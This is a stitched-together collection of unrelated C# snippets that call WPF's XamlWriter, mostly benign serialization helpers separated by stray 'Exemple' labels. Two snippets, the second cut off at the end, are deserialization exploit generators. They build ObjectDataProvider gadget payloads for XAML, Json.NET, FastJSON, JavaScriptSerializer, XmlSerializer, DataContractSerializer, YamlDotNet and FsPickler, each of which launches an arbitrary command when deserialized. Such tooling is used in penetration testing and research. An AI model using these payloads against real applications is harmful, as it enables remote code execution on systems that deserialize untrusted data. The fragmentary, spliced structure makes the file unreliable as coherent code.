public ActivityBuilderXamlWriter(XamlWriter innerWriter)
     : base()
 {
     this.innerWriter = innerWriter;
     this.currentState = new RootNode(this);
     this.namespaceTable = new NamespaceTable();
 }
		public XamlNodeQueue (XamlSchemaContext schemaContext)
		{
			if (schemaContext == null)
				throw new ArgumentNullException ("schemaContext");
			this.ctx = schemaContext;
			reader = new XamlNodeQueueReader (this);
			writer = new XamlNodeQueueWriter (this);
		}
        private void UpdateDisplayTabs(object o, object o1)
        {
            Exception exception = null;

            try
            {
                if (o == MainTab && MainTab.SelectedItem == PanelTab)
                {
                    TabControl.SelectedItem = TabCoreXaml;
                }

                var selectedItem = TabControl.SelectedItem as TabItem;
                switch (selectedItem?.Header.ToString())
                {
                case "CoreXaml":
                    var range = new TextRange(CoreXaml.Document.ContentEnd, CoreXaml.Document.ContentStart);
                    if (((TabItem)MainTab.SelectedItem).Header.ToString() == "RichTextBox")
                    {
                        XamlHelper.TextRange_SetXml(range,
                                                    XamlHelper.ColoringXaml(XamlHelper.IndentXaml(XamlWriter.Save(MainEditor.Document))));
                    }
                    else if (((TabItem)MainTab.SelectedItem).Header.ToString() == "Panel")
                    {
                        XamlHelper.TextRange_SetXml(range,
                                                    XamlHelper.ColoringXaml(XamlHelper.IndentXaml(XamlWriter.Save(PanelTab.Content))));
                    }
                    break;

                case "SelectionXaml":
                    SelectionXaml.Text = XamlHelper.IndentXaml(XamlHelper.TextRange_GetXml(MainEditor.Selection));
                    break;

                case "TextSerializedXaml":
                    TextSerializedXaml.Text =
                        XamlHelper.IndentXaml(
                            XamlHelper.TextRange_GetXml(new TextRange(MainEditor.Document.ContentEnd,
                                                                      MainEditor.Document.ContentStart)));
                    break;

                case "DocumentTree":
                    TreeViewhelper.SetupTreeView(TextTreeView, MainEditor.Document);
                    break;

                default:
                    OnError(new Exception("Can't find specified TabItem!"));
                    break;
                }
            }
            catch (Exception e)
            {
                exception = e;
            }

            OnError(exception);
        }
        private bool CopySelectionInXAML(IDataObject dataObject, StrokeCollection strokes, List <UIElement> elements, Matrix transform, Size size)
        {
            //NOTE: after meeting with the partial trust team, we have
            //collectively decided to only allow copy / cut of XAML if the caller
            //has unmanagedcode permission, else we silently ignore the XAML
            if (!SecurityHelper.CheckUnmanagedCodePermission())
            {
                return(false);
            }
            else
            {
                InkCanvas inkCanvas = new InkCanvas();

                // NOTICE-2005/12/06-WAYNEZEN,
                // We already transform the Strokes in CopySelectedData.
                if (strokes.Count != 0)
                {
                    inkCanvas.Strokes = strokes;
                }

                int elementCount = elements.Count;
                if (elementCount != 0)
                {
                    InkCanvasSelection inkCanvasSelection = InkCanvas.InkCanvasSelection;

                    for (int i = 0; i < elementCount; i++)
                    {
                        // NOTICE-2005/05/05-WAYNEZEN,
                        // An element can't be added to two visual trees.
                        // So, we cannot add the elements to the new container since they have been added to the current InkCanvas.
                        // Here we have to do is according to the suggestion from Avalon team -
                        //      1. Presist the elements to Xaml
                        //      2. Load the xaml to create the new instances of the elements.
                        //      3. Add the new instances to the new container.
                        string xml;

                        try
                        {
                            xml = XamlWriter.Save(elements[i]);

                            UIElement newElement = XamlReader.Load(new XmlTextReader(new StringReader(xml))) as UIElement;
                            ((IAddChild)inkCanvas).AddChild(newElement);

                            // Now we tranform the element.
                            inkCanvasSelection.UpdateElementBounds(elements[i], newElement, transform);
                        }
                        catch (SecurityException)
                        {
                            // If we hit a SecurityException under the PartialTrust, we should just stop generating
                            // the containing InkCanvas.
                            inkCanvas = null;
                            break;
                        }
                    }
                }

                if (inkCanvas != null)
                {
                    inkCanvas.Width  = size.Width;
                    inkCanvas.Height = size.Height;

                    ClipboardData data = new XamlClipboardData(new UIElement[] { inkCanvas });

                    try
                    {
                        data.CopyToDataObject(dataObject);
                    }
                    catch (SecurityException)
                    {
                        // If we hit a SecurityException under the PartialTrust, we should just fail the copy
                        // operation.
                        inkCanvas = null;
                    }
                }

                return(inkCanvas != null);
            }
        }
 public static string XamlToSring(StackPanel xaml)
 {
     return(XamlWriter.Save(xaml));
 }
        private void SaveElementTree()     // ListBox speichern.
        {
            var xmlWriter = new XmlTextWriter("ListBox.xaml", Encoding.Unicode);

            XamlWriter.Save(listbox, xmlWriter);
        }
 public ViewStateCleaningWriter(XamlWriter innerWriter)
 {
     this.InnerWriter = innerWriter;
     this.MemberStack = new Stack <XamlMember>();
 }
        void WritestrippedXamlNode(XamlReader reader, XamlWriter writer)
        {
            switch (reader.NodeType)
            {
                case XamlNodeType.StartObject:
                    XamlType xamlType = reader.Type;
                    if (xamlType.IsUnknown)
                    {
                        IList<XamlType> typeArgs = UpdateTypeArgs(xamlType.TypeArguments, reader.SchemaContext);
                        string xmlns = XamlBuildTaskServices.UpdateClrNamespaceUriWithLocalAssembly(xamlType.PreferredXamlNamespace, this.localAssemblyName);
                        xamlType = new XamlType(xmlns, xamlType.Name, typeArgs, reader.SchemaContext);
                    }
                    writer.WriteStartObject(xamlType);
                    break;

                case XamlNodeType.StartMember:
                    XamlMember member = reader.Member;
                    if (member.IsUnknown && !member.IsDirective)
                    {
                        string xmlns = XamlBuildTaskServices.UpdateClrNamespaceUriWithLocalAssembly(member.DeclaringType.PreferredXamlNamespace, this.localAssemblyName);
                        XamlType memberXamlType = new XamlType(xmlns, member.DeclaringType.Name, member.DeclaringType.TypeArguments, reader.SchemaContext);
                        member = new XamlMember(member.Name, memberXamlType, member.IsAttachable);
                    }
                    writer.WriteStartMember(member);
                    break;

                case XamlNodeType.NamespaceDeclaration:
                    NamespaceDeclaration ns = new NamespaceDeclaration(
                        XamlBuildTaskServices.UpdateClrNamespaceUriWithLocalAssembly(reader.Namespace.Namespace, this.localAssemblyName),
                        reader.Namespace.Prefix);
                    writer.WriteNamespace(ns);
                    break;

                case XamlNodeType.GetObject:
                case XamlNodeType.EndObject:
                case XamlNodeType.EndMember:
                case XamlNodeType.Value:
                case XamlNodeType.None:
                    writer.WriteNode(reader);
                    break;

                default:
                    Debug.Fail("Unrecognized XamlNodeType value" + reader.NodeType.ToString());
                    break;
            }
        }
Exemple #9
0
        /// <summary>
        /// Clone an element
        /// </summary>
        /// <param name="elementToClone"></param>
        /// <returns></returns>
        public static object CloneElement(object elementToClone)
        {
            string xaml = XamlWriter.Save(elementToClone);

            return(XamlReader.Load(new XmlTextReader(new StringReader(xaml))));
        }
        public override object Generate(string cmd, string formatter, Boolean test, Boolean minify)
        {
            if (formatter.ToLower().Equals("xaml"))
            {
                ProcessStartInfo psi = new ProcessStartInfo();
                Boolean          hasArgs;
                string[]         splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, out hasArgs);
                psi.FileName = splittedCMD[0];
                if (hasArgs)
                {
                    psi.Arguments = splittedCMD[1];
                }
                StringDictionary dict = new StringDictionary();
                psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
                Process p = new Process();
                p.StartInfo = psi;
                ObjectDataProvider odp = new ObjectDataProvider();
                odp.MethodName           = "Start";
                odp.IsInitialLoadEnabled = false;
                odp.ObjectInstance       = p;

                string payload = XamlWriter.Save(odp);

                if (minify)
                {
                    // using discardable regex array to make it shorter!
                    payload = Helpers.XMLMinifier.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
                }

                if (test)
                {
                    try
                    {
                        StringReader stringReader = new StringReader(payload);
                        XmlReader    xmlReader    = XmlReader.Create(stringReader);
                        XamlReader.Load(xmlReader);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            if (formatter.ToLower().Equals("json.net"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.JSON, out hasArgs);

                if (hasArgs)
                {
                    cmd = "'" + splittedCMD[0] + "', '" + splittedCMD[1] + "'";
                }
                else
                {
                    cmd = "'" + splittedCMD[0] + "'";
                }

                String payload = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':[" + cmd + @"]
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
                if (minify)
                {
                    payload = Helpers.JSONMinifier.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null);
                }

                if (test)
                {
                    try
                    {
                        Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings
                        {
                            TypeNameHandling = TypeNameHandling.Auto
                        });;
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("fastjson"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.JSON, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = @"""FileName"":""" + splittedCMD[0] + @""",""Arguments"":""" + splittedCMD[1] + @"""";
                }
                else
                {
                    cmdPart = @"""FileName"":""" + splittedCMD[0] + @"""";
                }

                String payload = @"{
    ""$types"":{
        ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
        ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
        ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
    },
    ""$type"":""1"",
    ""ObjectInstance"":{
        ""$type"":""2"",
        ""StartInfo"":{
            ""$type"":""3"",
            " + cmdPart + @"
        }
    },
    ""MethodName"":""Start""
}";

                if (minify)
                {
                    payload = Helpers.JSONMinifier.Minify(payload, null, null);
                }

                if (test)
                {
                    try
                    {
                        var instance = JSON.ToObject <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("javascriptserializer"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.JSON, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = "'FileName':'" + splittedCMD[0] + "', 'Arguments':'" + splittedCMD[1] + "'";
                }
                else
                {
                    cmdPart = "'FileName':'" + splittedCMD[0] + "'";
                }

                String payload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            " + cmdPart + @"
        }
    }
}";

                if (minify)
                {
                    payload = Helpers.JSONMinifier.Minify(payload, null, null);
                }

                if (test)
                {
                    try
                    {
                        JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
                        var json_req             = jss.Deserialize <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("xmlserializer"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String><b:String>{splittedCMD[1]}</b:String>";
                }
                else
                {
                    cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String>";
                }

                String payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string"">
                    <![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">{cmdPart}</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type=""XamlReader""></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
";

                if (minify)
                {
                    payload = Helpers.XMLMinifier.Minify(payload, null, null);
                }


                if (test)
                {
                    try
                    {
                        var xmlDoc = new XmlDocument();
                        xmlDoc.LoadXml(payload);
                        XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root");
                        var        s       = new XmlSerializer(Type.GetType(xmlItem.GetAttribute("type")));
                        var        d       = s.Deserialize(new XmlTextReader(new StringReader(xmlItem.InnerXml)));
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("datacontractserializer"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = $@"<b:anyType i:type=""c:string"">" + splittedCMD[0] + @"</b:anyType>
          <b:anyType i:type=""c:string"">" + splittedCMD[1] + "</b:anyType>";
                }
                else
                {
                    cmdPart = $@"<b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">" + splittedCMD[0] + @"</b:anyType>";
                }

                String payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" 
                                                         xmlns:c=""http://www.w3.org/2001/XMLSchema""
                                                         xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""
                                                         xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
      <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">
        <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
      </ExpandedElement>
      <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
        <a:MethodName>Start</a:MethodName>
        <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
          " + cmdPart + @"
        </a:MethodParameters>
        <a:ObjectInstance z:Ref=""ref1""/>
      </ProjectedProperty0>
    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
";
                if (minify)
                {
                    payload = Helpers.XMLMinifier.Minify(payload, null, null, Helpers.FormatterType.DataContractXML);
                }

                if (test)
                {
                    try
                    {
                        var xmlDoc = new XmlDocument();
                        xmlDoc.LoadXml(payload);
                        XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root");
                        var        s       = new DataContractSerializer(Type.GetType(xmlItem.GetAttribute("type")));
                        var        d       = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)));
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("yamldotnet"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.YamlDotNet, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = $@"FileName: " + splittedCMD[0] + @",
					Arguments: "                     + splittedCMD[1];
                }
                else
                {
                    cmdPart = $@"FileName: " + splittedCMD[0];
                }

                String payload = @"
!<!System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35> {
    MethodName: Start,
	ObjectInstance: 
		!<!System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> {
			StartInfo:
				!<!System.Diagnostics.ProcessStartInfo,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> {
					"                     + cmdPart + @"

                }
        }
}";
                if (minify)
                {
                    payload = Helpers.YamlDotNet.Minify(payload);
                }

                if (test)
                {
                    try
                    {
                        //to bypass all of the vulnerable version's type checking, we need to set up a stream
                        using (var reader = new StreamReader(new MemoryStream(System.Text.Encoding.UTF8.GetBytes(payload))))
                        {
                            var deserializer = new DeserializerBuilder().Build();
                            var result       = deserializer.Deserialize(reader);
                        }
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("fspickler"))
            {
                Boolean  hasArgs;
                string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String><b:String>{splittedCMD[1]}</b:String>";
                }
                else
                {
                    cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String>";
                }

                String internalPayload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">" + cmdPart + @"</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";

                internalPayload = Helpers.CommandArgSplitter.JsonString(internalPayload);

                String payload = @"{
  ""FsPickler"": ""4.0.0"",
  ""type"": ""System.Object"",
  ""value"": {
          ""_flags"": ""subtype"",
          ""subtype"": {
            ""Case"": ""NamedType"",
            ""Name"": ""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"",
            ""Assembly"": {
              ""Name"": ""Microsoft.PowerShell.Editor"",
              ""Version"": ""3.0.0.0"",
              ""Culture"": ""neutral"",
              ""PublicKeyToken"": ""31bf3856ad364e35""
            }
          },
          ""instance"": {
            ""serializationEntries"": [
              {
                ""Name"": ""ForegroundBrush"",
                ""Type"": {
                  ""Case"": ""NamedType"",
                  ""Name"": ""System.String"",
                  ""Assembly"": {
                    ""Name"": ""mscorlib"",
                    ""Version"": ""4.0.0.0"",
                    ""Culture"": ""neutral"",
                    ""PublicKeyToken"": ""b77a5c561934e089""
                  }
                },
                ""Value"": """ + internalPayload + @"""
              }
            ]
          }
    }
  }";

                if (minify)
                {
                    payload = Helpers.JSONMinifier.Minify(payload, null, null);
                }

                if (test)
                {
                    try
                    {
                        var serializer = MBrace.CsPickler.CsPickler.CreateJsonSerializer(true);
                        serializer.UnPickleOfString <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Exemple #11
0
        /// <summary>
        ///     When overridden in a derived class, returns a
        ///     <see cref="System.Windows.DataTemplate" /> based on custom logic.
        /// </summary>
        /// <param name="item">The data object for which to select the template.</param>
        /// <param name="container">The data-bound object.</param>
        /// <returns>
        ///     Returns a <see cref="System.Windows.DataTemplate" /> or
        ///     <span class="keyword">
        ///         <span class="languageSpecificText">
        ///             <span class="cs">null</span><span class="vb">Nothing</span>
        ///             <span class="cpp">nullptr</span>
        ///         </span>
        ///     </span>
        ///     <span class="nu">
        ///         a null reference (<span class="keyword">Nothing</span>
        ///         in Visual Basic)
        ///     </span>
        ///     . The default value is
        ///     <span class="keyword">
        ///         <span class="languageSpecificText">
        ///             <span class="cs">null</span><span class="vb">Nothing</span>
        ///             <span class="cpp">nullptr</span>
        ///         </span>
        ///     </span>
        ///     <span class="nu">
        ///         a null reference (<span class="keyword">Nothing</span>
        ///         in Visual Basic)
        ///     </span>
        ///     .
        /// </returns>
        /// <autogeneratedoc />
        /// TODO Edit XML Comment Template for SelectTemplate
        public override DataTemplate SelectTemplate(object item, DependencyObject container)
        {
            var menuItem = container as MenuItem;

            if (container is ContentPresenter)
            {
                Logger.Debug("contentpresenter");
                return(base.SelectTemplate(item, container));
            }
            // if ( menuItem == null )
            // {
            //     Logger.Warn( $"container is not a menuitem {container.GetType()}" );
            //     return base.SelectTemplate( item, container );
            // }

            if (!(item is IMenuItem))
            {
                Logger.Warn("item is not a IMenuItem");
                return(base.SelectTemplate(item, container));
            }

            Logger.Info($"menuItem is {menuItem}");
            Logger.Debug($"args are {item} {container}");
            Logger.Debug($"item type is {item.GetType ( )}");
            if (container != null)
            {
                var r = container as FrameworkElement;
                if (item is IMenuItem x)
                {
                    Logger.Debug("item is IMenuItem");
                    if (x.Children.Any( ))
                    {
                        const string key = "Menu_ItemTemplateChildren";
                        Logger.Info($"Selecting template {key} for {container}");
                        if (r != null)
                        {
                            if (r.FindResource(key) is DataTemplate dataTemplate)
                            {
                                Logger.Debug($"returning {key} {dataTemplate.DataTemplateKey}");
#if writexaml
                                var sw = new StringWriter();
                                XamlWriter.Save(dataTemplate, sw);
                                Logger.Trace(sw.ToString());
#endif
                                return(dataTemplate);
                            }
                        }
                    }

                    else
                    {
                        const string key = MenuItemTemplateNoChildrenTemplateName;

                        Logger.Info($"Selecting template {key} for {container}");

                        if (menuItem != null)
                        {
                            var dataTemplate = menuItem.FindResource(key) as DataTemplate;
                            Logger.Debug($"returning {key} {dataTemplate?.DataTemplateKey}");
#if writexaml
                            var sw = new StringWriter();
                            XamlWriter.Save(dataTemplate, sw);
                            Logger.Trace(sw.ToString());
#endif
                            return(dataTemplate);
                        }
                    }
                }
            }

            Logger.Debug("Returning result from base method");
            return(base.SelectTemplate(item, container));
        }
 public string GetText(FlowDocument document)
 {
     return(XamlWriter.Save(document));
 }
Exemple #13
0
 public static string InvertedXXaml(this Visual3D v3d)
 {
     v3d.InvertZ();
     return XamlWriter.Save(v3d);
 }
 public static void WriteStartMember(this XamlWriter writer, XamlMember xamlMember, int lineNumber, int linePosition)
 {
     PropagateLineInfo(writer, lineNumber, linePosition);
     writer.WriteStartMember(xamlMember);
 }
 public static void WriteStartMember(this XamlWriter writer, XamlMember xamlMember, IXamlLineInfo lineInfo)
 {
     PropagateLineInfo(writer, lineInfo);
     writer.WriteStartMember(xamlMember);
 }
 public XamlWriter EndMember()
 {
     AddMember(this.CurrentMember, this.currentMemberNodes);
     this.CurrentMember = null;
     this.currentMemberNodes = null;
     XamlWriter parentWriter = this.parentWriter;
     this.parentWriter = null;
     return parentWriter;
 }
                void WritePropertyReference(XamlWriter parentWriter, XamlMember targetProperty, string sourceProperty)
                {
                    Type propertyReferenceType = typeof(PropertyReferenceExtension<>).MakeGenericType(targetProperty.Type.UnderlyingType ?? typeof(object));
                    XamlType propertyReferenceXamlType = parentWriter.SchemaContext.GetXamlType(propertyReferenceType);
                    parentWriter.WriteStartObject(propertyReferenceXamlType);

                    if (sourceProperty != null)
                    {
                        parentWriter.WriteStartMember(propertyReferenceXamlType.GetMember("PropertyName"));
                        parentWriter.WriteValue(sourceProperty);
                        parentWriter.WriteEndMember();
                    }

                    parentWriter.WriteEndObject();
                }
Exemple #18
0
        /// <summary>
        /// Execute
        /// </summary>
        /// <param name="context">WF context</param>
        /// <returns></returns>
        protected override DMDocument Execute(CodeActivityContext context)
        {
            this._notifyDictationProgress = context.GetExtension <INotifyDictationProgress>();

            // Obtain the runtime value of the Text input argument
            var audioFilePath = context.GetValue(this.AudioFilePath);
            var cultureName   = context.GetValue(this.CultureName);

            var dictationDocumentPath = EpisodeFileTypes.DictationFile.ToFileName(audioFilePath.Substring(0, audioFilePath.Length - 4));

            if (File.Exists(dictationDocumentPath))
            {
                Console.WriteLine("Dictation Doc Exists!");
                using (Stream stream = new FileStream(dictationDocumentPath, FileMode.Open))
                {
                    myDocument = XamlReader.Load(stream) as DMDocument;
                }
                Thread.Sleep(500);
                if (this._notifyDictationProgress != null)
                {
                    this._notifyDictationProgress.Exists(dictationDocumentPath);
                }
            }
            else
            {
                Console.WriteLine();
                Console.WriteLine();
                Console.WriteLine("<Dictation Start>");

                if (SyncEngine == null)
                {
                    SyncEngine = new DictationSyncEngine(cultureName);
                    SyncEngine.SentenceRecognized += SyncEngine_SentenceRecognized;
                    SyncEngine.RecognizeCompleted += SyncEngine_RecognizeCompleted;
                }
                else
                {
                    while (SyncEngine.IsBusy)
                    {
                        Thread.Sleep(500);
                    }
                }

                if (audioFilePath.EndsWith(EpisodeFileTypes.WaveFile.ToExt()))
                {
                    audioFilePath = EpisodeFileTypes.WaveFile.ToFileName(audioFilePath.Substring(0, audioFilePath.Length - 4));
                }

                SyncEngine.Process(audioFilePath);
                myResetEvent.WaitOne();

                myDocument.Dispatcher.Invoke(new Action(
                                                 delegate()
                {
                    var xamlString = XamlWriter.Save(myDocument);
                    File.WriteAllText(dictationDocumentPath, xamlString);
                }
                                                 ));

                Console.WriteLine("</Dictation Completed>");
            }
            return(this.myDocument);
        }
 public static void WriteNamespace(this XamlWriter writer, NamespaceDeclaration namespaceDeclaration, IXamlLineInfo lineInfo)
 {
     PropagateLineInfo(writer, lineInfo);
     writer.WriteNamespace(namespaceDeclaration);
 }
Exemple #20
0
        private void ProcessAlternatingRule(ColorRulesViewModel colorRulesViewModel)
        {
            var selection = MaterializeSelection(colorRulesViewModel);

            if (selection.GetType() == typeof(Section))
            {
                //
            }
            else if (selection.GetType() == typeof(Span))
            {
                //
            }
            else
            {
                MessageBox.Show(selection.GetType().ToString());
            }

            StringBuilder stringBuilder = new StringBuilder();

            if (selection.GetType() == typeof(Section))
            {
                var section = selection as Section;

                foreach (Block block in section.Blocks)
                {
                    var paragraph = block as Paragraph;

                    foreach (Inline inline in paragraph.Inlines)
                    {
                        var run = inline as Run;

                        if (run.Text.Length <= 0)
                        {
                            //stringBuilder.Append(Environment.NewLine);
                        }

                        stringBuilder.Append(run.Text);

                        //stringBuilder.Append(Environment.NewLine);
                    }
                }

                List <String> array = StringUtilities.SplitIntoParts(stringBuilder.ToString(), colorRulesViewModel.Interval).ToList <string>();

                Section   newSection   = new Section();
                Paragraph newParagraph = new Paragraph();

                Queue <Brush> foregroundBrushes = new Queue <Brush>();
                Queue <Brush> backgroundBrushes = new Queue <Brush>();

                foreach (SwatchViewModel swatchViewModel in colorRulesViewModel.ForegroundColors)
                {
                    foregroundBrushes.Enqueue(new SolidColorBrush(swatchViewModel.Color));
                }

                foreach (SwatchViewModel swatchViewModel in colorRulesViewModel.BackgroundColors)
                {
                    backgroundBrushes.Enqueue(new SolidColorBrush(swatchViewModel.Color));
                }

                for (int i = 0; i < array.Count; i++)
                {
                    Run run = new Run();
                    run.Text = array[i];

                    var foregorundBrush = foregroundBrushes.Dequeue();
                    var backgroundBrush = backgroundBrushes.Dequeue();

                    if (colorRulesViewModel.Scope == RuleScopes.Foreground)
                    {
                        run.Foreground = foregorundBrush;
                    }
                    else if (colorRulesViewModel.Scope == RuleScopes.Background)
                    {
                        run.Background = backgroundBrush;
                    }
                    else if (colorRulesViewModel.Scope == RuleScopes.Both)
                    {
                        run.Foreground = foregorundBrush;
                        run.Background = backgroundBrush;
                    }

                    foregroundBrushes.Enqueue(foregorundBrush);
                    backgroundBrushes.Enqueue(backgroundBrush);

                    newParagraph.Inlines.Add(run);
                }

                newSection.Blocks.Add(newParagraph);

                using (StreamWriter writer = new StreamWriter("temp.xaml"))
                {
                    XamlWriter.Save(newSection, writer.BaseStream);

                    writer.Close();
                }

                using (StreamReader reader = new StreamReader("temp.xaml"))
                {
                    MainViewModel.ActiveProject.Selection.Load(reader.BaseStream, DataFormats.Xaml);

                    reader.Close();
                }
            }
            else
            {
                MessageBox.Show(selection.GetType().ToString());
            }
        }
Exemple #21
0
 public Payload GeneratePayload(object gadget) => new Payload(XamlWriter.Save(gadget));
Exemple #22
0
        public override object Generate(string cmd, string formatter, Boolean test)
        {
            if (formatter.ToLower().Equals("xaml"))
            {
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName  = "cmd";
                psi.Arguments = "/c " + cmd;
                StringDictionary dict = new StringDictionary();
                psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
                Process p = new Process();
                p.StartInfo = psi;
                ObjectDataProvider odp = new ObjectDataProvider();
